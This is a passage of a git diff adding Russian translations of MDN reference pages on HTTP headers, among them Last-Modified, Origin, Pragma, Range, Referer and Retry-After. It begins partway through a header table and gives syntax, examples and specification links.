+ <td>
+ <p>Содержит URL-адрес ресурса, из которого был запрошен обрабатываемый запрос. Если запрос поступил из закладки, прямого ввода адреса пользователем или с помощью других методов, при которых исходного ресурса нет, то этот заголовок отсутствует или имеет значение "about:blank".</p>
+
+ <div class="note">
+ <p>Это ошибочное имя заголовка (referer, вместо referrer) было введено в спецификацию HTTP/0.9, и ошибка должна была быть сохранена в более поздних версиях протокола для совместимости.</p>
+ </div>
+ </td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Retry-After" title="en/Retry-After">Retry-After</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>Sec-Websocket-Extensions</code></td>
+ <td></td>
+ <td></td>
+ <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+ </tr>
+ <tr>
+ <td><code>Sec-Websocket-Key</code></td>
+ <td></td>
+ <td></td>
+ <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+ </tr>
+ <tr>
+ <td><code>Sec-Websocket-Origin</code></td>
+ <td></td>
+ <td></td>
+ <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+ </tr>
+ <tr>
+ <td><code>Sec-Websocket-Protocol</code></td>
+ <td></td>
+ <td></td>
+ <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+ </tr>
+ <tr>
+ <td><code>Sec-Websocket-Version</code></td>
+ <td></td>
+ <td></td>
+ <td> <a class="external" href="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07" title="http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07">Websockets</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Server" title="en/Server">Server</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie" title="en/Set-Cookie">Set-Cookie</a></code></td>
+ <td></td>
+ <td></td>
+ <td><a class="external" href="http://www.ietf.org/rfc/rfc2109.txt" title="http://www.ietf.org/rfc/rfc2109.txt">RFC 2109</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie2" title="en/Set-Cookie2">Set-Cookie2</a></code></td>
+ <td></td>
+ <td></td>
+ <td><a class="external" href="http://www.ietf.org/rfc/rfc2965.txt" title="http://www.ietf.org/rfc/rfc2965.txt">RFC 2965</a></td>
+ </tr>
+ <tr>
+ <td><code>Strict-Transport-Security</code></td>
+ <td></td>
+ <td><a href="/en-US/docs/Security/HTTP_Strict_Transport_Security" title="en/Security/HTTP Strict Transport Security">HTTP Strict Transport Security</a></td>
+ <td><a class="external" href="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02" title="http://tools.ietf.org/html/draft-hodges-strict-transport-sec-02">IETF reference</a></td>
+ </tr>
+ <tr>
+ <td><code>TCN</code></td>
+ <td></td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>RFC 2295, §8.5</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/TE" title="en/TE">TE</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Trailer" title="en/Trailer">Trailer</a></code></td>
+ <td>lists the headers that will be transmitted after the message body, in a trailer block. This allows servers to compute some values, like <code>Content-MD5:</code> while transmitting the data. Note that the <code>Trailer:</code> header must not list the <code>Content-Length:,</code> <code>Trailer:</code> or <code>Transfer-Encoding:</code> headers.</td>
+ <td></td>
+ <td><a class="external" href="http://tools.ietf.org/html/rfc2616#section-14.40" title="http://tools.ietf.org/html/rfc2616#section-14.40">RFC 2616, §14.40</a></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Transfer-Encoding" title="en/Transfer-Encoding">Transfer-Encoding</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Upgrade" title="en/Upgrade">Upgrade</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_User-Agent.3a_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_User-Agent.3a_header">User-Agent</a></code></td>
+ <td></td>
+ <td>for Gecko's user agents see the <a href="/en-US/docs/User_Agent_Strings_Reference" title="En/User Agent Strings Reference">User Agents Reference</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>Variant-Vary</code></td>
+ <td></td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content negotiation">HTTP Content Negotiation</a></td>
+ <td>RFC 2295, §8.6</td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Content_negotiation#The_Vary.3a_response_header" title="https://developer.mozilla.org/en/HTTP/Content_negotiation#The_Vary.3a_response_header">Vary</a></code></td>
+ <td>lists the headers used as criteria for choosing a specific content by the web server. This server is important for efficient and correct caching of the resource sent.</td>
+ <td><a href="/ru/docs/Web/HTTP/Content_negotiation" title="ru/HTTP/Content_negotiation">HTTP Content Negotiation</a> &amp; <a href="/en-US/docs/HTTP_Caching_FAQ" title="en/HTTP Caching FAQ">HTTP Caching FAQ</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Via" title="en/Via">Via</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/Warning" title="en/Warning">Warning</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code><a href="/en-US/docs/Web/HTTP/Headers/WWW-Authenticate" title="en/WWW-Authenticate">WWW-Authenticate</a></code></td>
+ <td></td>
+ <td></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>X-Content-Duration</code></td>
+ <td></td>
+ <td><a href="/en-US/docs/Configuring_servers_for_Ogg_media" title="https://developer.mozilla.org/en/Configuring_servers_for_Ogg_media">Configuring servers for Ogg media</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>X-Content-Security-Policy</code></td>
+ <td></td>
+ <td>Using <a href="/en-US/docs/Security/CSP/Using_Content_Security_Policy" title="en/Security/CSP/Using Content Security Policy">Content Security Policy</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>X-DNSPrefetch-Control</code></td>
+ <td></td>
+ <td><a href="/en-US/docs/Controlling_DNS_prefetching" title="En/Controlling DNS prefetching">Controlling DNS prefetching</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>X-Frame-Options</code></td>
+ <td></td>
+ <td><a href="/en-US/docs/The_X-FRAME-OPTIONS_response_header" title="en/The X-FRAME-OPTIONS response header">The XFrame-Option Response Header</a></td>
+ <td></td>
+ </tr>
+ <tr>
+ <td><code>X-Requested-With</code></td>
+ <td>Often used with the value "XMLHttpRequest" when it is the case</td>
+ <td></td>
+ <td>Not standard</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Примечание">Примечание</h2>
+
+<div class="note">
+<p><strong>Note:</strong> The Keep-Alive request header is not sent by {{Gecko ("5.0") }}; previous versions did send it but it was not formatted correctly, so the decision was made to remove it for the time being. The {{ httpheader("Connection") }} or {{ httpheader("Proxy-Connection") }} header is still sent, however, with the value "keep-alive".</p>
+</div>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<p><a class="external" href="http://en.wikipedia.org/wiki/List_of_HTTP_header_fields">Wikipedia page on List of HTTP headers</a></p>
diff --git a/files/ru/web/http/заголовки/last-modified/index.html b/files/ru/web/http/заголовки/last-modified/index.html
new file mode 100644
index 0000000000..e5d4b34510
--- /dev/null
+++ b/files/ru/web/http/заголовки/last-modified/index.html
@@ -0,0 +1,94 @@
+---
+title: Last-Modified
+slug: Web/HTTP/Заголовки/Last-Modified
+tags:
+ - HTTP
+ - HTTP Header
+ - Reference
+ - Response Header
+translation_of: Web/HTTP/Headers/Last-Modified
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок <strong><code>Last-Modified</code></strong> в ответе HTTP содержит дату и время, в которую, по мнению удаленного сервера, запрашиваемый ресурс был изменен. Он используется в качестве средства проверки для определения того, остался ли ресурс неизменным. Этот заголовок менее надежный, чем {{HTTPHeader("ETag")}}, и используется как резервный механизм. Условный запрос, содержащий заголовок {{HTTPHeader("If-Modified-Since")}} или {{HTTPHeader("If-Unmodified-Since")}} позволяет серверу использовать для сравнения эту дату.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Response header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th>
+ <td>да</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">Last-Modified: &lt;имя-дня&gt;, &lt;номер-дня&gt; &lt;имя-месяца&gt; &lt;год&gt; &lt;час&gt;:&lt;минута&gt;:&lt;секунда&gt; GMT
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;имя-дня&gt;</dt>
+ <dd>Одно из: "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", или "Sun" (чувствительно к регистру).</dd>
+ <dt>&lt;номер-дня&gt;</dt>
+ <dd>Номер дня из двух цифр, например "04" или "23".</dd>
+ <dt>&lt;имя-месяца&gt;</dt>
+ <dd>Одно из: "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" (чувствительно к регистру).</dd>
+ <dt>&lt;год&gt;</dt>
+ <dd>Номер года из четырёх цифр, например "1990" или "2016".</dd>
+ <dt>&lt;час&gt;</dt>
+ <dd>Номер часа из двух цифр, например "09" или "23".</dd>
+ <dt>&lt;минута&gt;</dt>
+ <dd>Номер минуты из двух цифр, например "04" или "59".</dd>
+ <dt>&lt;секунда&gt;</dt>
+ <dd>Номер секунды из двух цифр, например "04" или "59".</dd>
+ <dt><code>GMT</code></dt>
+ <dd>
+ <p>Greenwich Mean Time. HTTP даты всегда представлены GMT, и никогда — в локальном поясе.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7232", "Last-Modified", "2.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Last-Modified")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-Unmodified-Since")}}</li>
+ <li>{{HTTPHeader("Etag")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/origin/index.html b/files/ru/web/http/заголовки/origin/index.html
new file mode 100644
index 0000000000..8b8ad319c7
--- /dev/null
+++ b/files/ru/web/http/заголовки/origin/index.html
@@ -0,0 +1,77 @@
+---
+title: Origin
+slug: Web/HTTP/Заголовки/Origin
+translation_of: Web/HTTP/Headers/Origin
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>Заголовок запроса <strong><code>Origin</code></strong> показывает откуда будет производиться загрузка. Он не включает в себя какую-либо информацию о пути, содержит в себе лишь имя сервера. Заголовок отправляется как с {{Glossary("CORS")}}, так и с {{HTTPMethod("POST")}} запросами. Он похож на заголовок {{HTTPHeader("Referer")}}, но, в отличие от этого заголовка, не раскрывает весь путь.</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Origin: ""
+Origin: &lt;протокол&gt; "://" &lt;имя_хоста&gt; [ ":" &lt;порт&gt; ]
+</pre>
+
+<p><code>Origin</code> может быть пустой строкой: это полезно, например, если источником данных будет URL.</p>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;протокол&gt;</dt>
+ <dd>Используемый протокол. Обычно это HTTP протокол, или его защищённая версия HTTPS.</dd>
+ <dt>&lt;имя_хоста&gt;</dt>
+ <dd>Доменное имя сервера (для виртуального хостинга) или IP.</dd>
+ <dt>&lt;порт&gt; {{optional_inline}}</dt>
+ <dd>Номер TCP порта, который сервер будет слушать. Если порт не задан, будет использован порт по умолчанию для указаного сервиса (например "80" для HTTP).</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre>Origin: https://developer.mozilla.org</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{RFC("6454", "Origin", "7")}}</td>
+ <td>The Web Origin Concept</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#origin-header','Origin header')}}</td>
+ <td>Supplants the <code>Origin</code> header as defined in RFC6454.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Origin")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Host")}}</li>
+ <li>{{HTTPHeader("Referer")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Same-origin_policy">Same-origin policy</a></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/pragma/index.html b/files/ru/web/http/заголовки/pragma/index.html
new file mode 100644
index 0000000000..c53891dd44
--- /dev/null
+++ b/files/ru/web/http/заголовки/pragma/index.html
@@ -0,0 +1,78 @@
+---
+title: Pragma
+slug: Web/HTTP/Заголовки/Pragma
+tags:
+ - Прагма
+ - кэш
+translation_of: Web/HTTP/Headers/Pragma
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Общий заголовок <strong><code>Pragma</code></strong> HTTP / 1.0 - это заголовок, зависящий от реализации, который может иметь различные эффекты в цепочке запрос-ответ. Он используется для обратной совместимости с кэшами HTTP / 1.0, где заголовок <code>Cache-Control</code> HTTP / 1.1 еще не присутствует.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> <strong><code>Pragma</code></strong> не указана для ответов HTTP и поэтому не является надежной заменой общего заголовка управления кэшем HTTP/1.1, хотя она ведет себя так же, как <code>Cache-Control: no-cache</code>, если поле заголовка управления кэшем опущено в запросе. Используйте <code>Pragma</code> только для обратной совместимости с клиентами HTTP / 1.0.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Header type</th>
+ <td>{{Glossary("General header")}}, но поведение ответа не указано и, следовательно, зависит от реализации.</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("CORS-safelisted response header")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Pragma: no-cache
+</pre>
+
+<h2 id="Директива">Директива</h2>
+
+<dl>
+ <dt>no-cache</dt>
+ <dd>
+ <p>То же, что и <code>Cache-Control: no-cache</code>. Заставляет кэши отправлять запрос на исходный сервер для проверки перед выпуском кэшированной копии.</p>
+ </dd>
+</dl>
+
+<h2 id="Образец">Образец</h2>
+
+<pre>Pragma: no-cache</pre>
+
+<h2 id="Технические_требования">Технические требования</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7234", "Pragma", "5.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Caching</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <strong><code>https://github.com/mdn/browser-compat-data</code></strong> и отправьте нам запрос.</p>
+
+<p>{{Compat("http.headers.Pragma")}}</p>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>{{HTTPHeader("Cache-Control")}}</li>
+ <li>{{HTTPHeader("Expires")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/range/index.html b/files/ru/web/http/заголовки/range/index.html
new file mode 100644
index 0000000000..62b6d34a86
--- /dev/null
+++ b/files/ru/web/http/заголовки/range/index.html
@@ -0,0 +1,88 @@
+---
+title: Range
+slug: Web/HTTP/Заголовки/Range
+translation_of: Web/HTTP/Headers/Range
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок запроса <strong><code>Range</code></strong> указывает серверу какую часть документа ему необходимо вернуть. Несколько частей документа может быть запрошено с помощью заголовка <code>Range</code> за один раз, и сервер может вернуть все эти части через многокомпонентный документ. При отправке данных отдельными частями, сервер использует код ответа {{HTTPStatus("206")}} <code>Partial Content</code>. Если запрашиваемые диапазоны данных не верны, сервер возвращает ошибку {{HTTPStatus("416")}} <code>Range Not Satisfiable</code>. Сервер так же может проигнорировать заголовок <code>Range</code> и вернуть документ целиком с кодом ответа {{HTTPStatus("200")}}.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>нет</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-
+Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;
+Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;, &lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;
+Range: &lt;единица&gt;=&lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;, &lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;, &lt;начало-диапазона&gt;-&lt;конец-диапазона&gt;
+Range: &lt;единица&gt;=-&lt;длина-с-конца&gt;</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;единица&gt;</dt>
+ <dd>Единица, в которой указывается запрашиваемый диапазон. Обычно объявляется, как <code>bytes</code>.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;начало-диапазона&gt;</dt>
+ <dd>Число, в указанных единицах, являющееся началом запрашиваемого диапазона.</dd>
+ <dt>&lt;конец-диапазона&gt;</dt>
+ <dd>Число, в указанных единицах, являющееся концом запрашиваемого диапазона. Это значение не является обязательным и, если его не определять, концом диапазона будет считаться конец документа.</dd>
+ <dt>&lt;длина-с-конца&gt;</dt>
+ <dd>Количество единиц документа, которые необходимо вернуть серверу, начиная с конца документа.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Запрашивание трёх диапазонов байтов из одного файла.</p>
+
+<pre>Range: bytes=200-1000, 2000-6576, 19000-
+</pre>
+
+<p>Запрашивание первых 500 и последних 500 байтов из файла. Запрос может быть отклонён сервером в связи с перекрывающимися диапазонами.</p>
+
+<pre>Range: bytes=0-499, -500
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Заголовок</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "Range", "3.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создана на основе отдельно сформированных структурированных данных. Если вы желаете дополнить эти данные, пожалуйста, ознакомьтесь со страницей <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам свой pull request.</p>
+
+<p>{{Compat("http.headers.Range")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>{{HTTPStatus("206")}} <code>Partial Content</code></li>
+ <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li>
+</ul>
diff --git a/files/ru/web/http/заголовки/referer/index.html b/files/ru/web/http/заголовки/referer/index.html
new file mode 100644
index 0000000000..3ff8b8d51e
--- /dev/null
+++ b/files/ru/web/http/заголовки/referer/index.html
@@ -0,0 +1,94 @@
+---
+title: Referer
+slug: Web/HTTP/Заголовки/Referer
+tags:
+ - HTTP
+ - referer
+ - Заголовок
+translation_of: Web/HTTP/Headers/Referer
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>Заголовок запроса <code><strong>Referer</strong></code> содержит URL исходной страницы, с которой был осуществлен переход на текущую страницу. Заголовок <code>Referer</code> позволяет серверу узнать откуда был осуществлен переход на запрашиваемую страницу. Сервер может анализировать эти данные, записывать их в логи или оптимизировать процесс кэширования.</p>
+
+<p>Обратите внимание, что слово «Referer» на самом деле является неправильным написанием слова «Referrer». См. {{interwiki("wikipedia", "HTTP_referer", "HTTP referer на Wikipedia")}} .</p>
+
+<div class="warning">
+<p>Заголовок <code>Referer</code> может раскрыть информацию пользователя об истории посещенных страниц, что может привести к нарушению приватности.</p>
+
+<p>Поэтому, никогда не ссылайтесь и не включайте на страницу контент без предварительной проверки конфиденциальности, безопасности и сопряженных с этим рисков, в том числе на страницах, которые не содержат информации о риске, но связаны с ним.</p>
+
+<p>К примеру, по умолчанию URL страницы сброса пароля будет попадать на хосты, размещающие контент на странице, и хосты ссылок, нажатых на этой странице. В обоих случаях сторонний хост получит <code>Referer</code> пользователя.</p>
+
+<p>Существует риск, что содержимое, загруженное на страницу получит доступ к <code>Referer</code> из объекта document.referrer.</p>
+
+<p>Остерегайтесь хостов первого эшелона, таких как хост изображений. Несмотря на кажущийся, минимальный риск, они получают ваш <code>Referer</code> и это может стать проблемой безопасности.</p>
+
+<p>Некоторые браузеры, такие как Firefox, также отправляют <code>Referer</code> в представлениях, отличных от страниц HTML. К примеру, JsonView отправит <code>Referer</code> хосту, когда в JSON будет переход по URL-адресу, это может раскрыть приватные данные. Иногда передача <code>Referer</code> случается при работе с API, при некорректных параметрах запроса в API ключах.</p>
+</div>
+
+<p>Браузер не отправляет заголовок <code>Referer</code>, если:</p>
+
+<ul>
+ <li>исходный ресурс -- локальный "файл" или "data" URI,</li>
+ <li>используется незащищенный HTTP-запрос, а исходная страница была получена с защищенным протоколом (HTTPS).</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Request header")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>yes</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Referer: &lt;url&gt;
+</pre>
+
+<h2 id="Указания">Указания</h2>
+
+<dl>
+ <dt>&lt;url&gt;</dt>
+ <dd>Абсолютный или частичный адрес предыдущей веб-страницы, с которой был осуществлен переход на запрашиваемую страницу. Фрагменты URL-адреса (т.к. #якорь") и данные пользователя(т.к. "логин:пароль" в "https://username:password@example.com/foo/bar/") не включать.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre>Referer: https://developer.mozilla.org/en-US/docs/Web/JavaScript</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Спецификация</th>
+ <th scope="col">Название</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "Referer", "5.5.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Referer")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTTP_referer", "HTTP referer on Wikipedia")}}</li>
+ <li>{{HTTPHeader("Referrer-Policy")}}</li>
+</ul>
diff --git a/files/ru/web/http/заголовки/retry-after/index.html b/files/ru/web/http/заголовки/retry-after/index.html
new file mode 100644
index 0000000000..7e37acd766
--- /dev/null
+++ b/files/ru/web/http/заголовки/retry-after/index.html
@@ -0,0 +1,86 @@
+---
+title: Retry-After
+slug: Web/HTTP/Заголовки/Retry-After
+tags:
+ - HTTP
+ - Заголовок
+ - заголовок ответа
+ - ответ
+translation_of: Web/HTTP/Headers/Retry-After
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><strong><code>Retry-After</code></strong> заголовок HTTP ответа показывает, как долго клиент должен подождать перед последующим запросом. Есть три основных случая, в которых следует использовать этот заголовок:</p>
+
+<ul>
+ <li>Когда отправлен с кодом {{HTTPStatus(503)}} (Service Unavailable), отображая примерное время, через которое сервис будет доступен.</li>
+ <li>Когда отправлен с кодом {{HTTPStatus(429)}} (Too Many Requests), отображая, сколько ждать перед следующим запросом.</li>
+ <li>Когда отправлен с кодом переадресации (например, {{HTTPStatus(301)}} (Moved Permanently)), отображает минимальное время, которое клиент должен подождать перед переадресацией.</li>
+</ul>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Тип заголовка</th>
+ <td>{{Glossary("Ответный заголовок")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">{{Glossary("Forbidden header name")}}</th>
+ <td>no</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">Retry-After: &lt;http-date&gt;
+Retry-After: &lt;delay-seconds&gt;
+</pre>
+
+<h2 id="Директивы">Директивы</h2>
+
+<dl>
+ <dt>&lt;http-date&gt;</dt>
+ <dd>Дата, после которой пытаться еще раз. За документацией к HTTP дате, обратитесь сюда: {{HTTPHeader("Дата")}}.</dd>
+ <dt>&lt;delay-seconds&gt;</dt>
+ <dd>Неотрицательное число секунд, показывающее время ожидания перед новым запросом.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Работа_с_запланированным_временем_простоя">Работа с запланированным временем простоя</h3>
+
+<p>Поддержка <code>Retry-After</code> реализована еще не везде. Впрочем, некоторые боты, к примеру Googlebot, понимает заголовок <code>Retry-After</code>. В данном случае полезно отправлять его с кодом {{HTTPStatus(503)}} (Service Unavailable), чтобы поисковики продолжили индексировать после простоя</p>
+
+<pre>Retry-After: Wed, 21 Oct 2015 07:28:00 GMT
+Retry-After: 120
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "Retry-After", "7.1.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузеров">Поддержка браузеров</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.Retry-After")}}</p>
+
